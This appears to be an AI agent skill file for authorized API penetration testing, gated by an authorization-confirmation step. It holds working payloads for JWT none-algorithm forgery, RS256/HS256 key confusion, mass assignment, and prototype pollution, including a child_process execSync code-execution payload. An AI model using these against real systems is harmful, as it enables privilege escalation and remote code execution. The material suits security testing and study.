hunt-api-misconfig

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype state reaches a later operation.

Hunt sequence:

1. Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. Pollute harmless marker properties. Send variants such as:

{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337

3. Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
4. Escalate only through learned sinks. Candidate properties depend on the sink:

{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}

5. For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.

Server-Side Parameter Pollution in Backend URL / REST URL Construction

Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:

/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email

Hunt sequence:

1. Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look for form actions, fetch(...), hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape.
2. Determine whether input lands in a backend path or query. Send URL metacharacters in the input:

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